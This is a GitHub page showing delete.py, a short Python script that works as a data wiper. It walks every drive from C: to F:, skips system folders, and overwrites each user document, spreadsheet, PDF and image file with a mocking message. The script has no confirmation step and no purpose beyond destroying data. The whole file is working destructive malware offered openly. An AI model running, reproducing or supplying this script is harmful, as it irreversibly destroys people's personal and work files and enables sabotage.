-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdelete.py
More file actions
36 lines (32 loc) · 1.19 KB
/
delete.py
File metadata and controls
36 lines (32 loc) · 1.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
from tqdm import tqdm
EXTENSIONS = ['.txt', '.docx', '.xlsx', '.pdf', '.jpg', '.jpeg', '.png', '.bmp']
TARGET_FOLDERS = ['C:\\', 'D:\\', 'E:\\', 'F:\\']
MESSAGE = b"Wooh Delete delete delete........"
def overwrite_file(file_path):
try:
with open(file_path, 'wb') as f:
f.write(MESSAGE)
return True
except:
return False
def get_all_target_files(folder):
target_files = []
for root, dirs, files in os.walk(folder, topdown=True):
dirs[:] = [d for d in dirs if not d.lower() in (
'windows', 'program files', 'program files (x86)',
'appdata', 'programdata', '$recycle.bin', 'system volume information'
)]
for file in files:
filepath = os.path.join(root, file)
if any(filepath.lower().endswith(ext) for ext in EXTENSIONS):
target_files.append(filepath)
return target_files
if __name__ == "__main__":
for folder in TARGET_FOLDERS:
if os.path.exists(folder):
files_to_process = get_all_target_files(folder)
for file_path in tqdm(files_to_process, disable=True):
overwrite_file(file_path)
else:
pass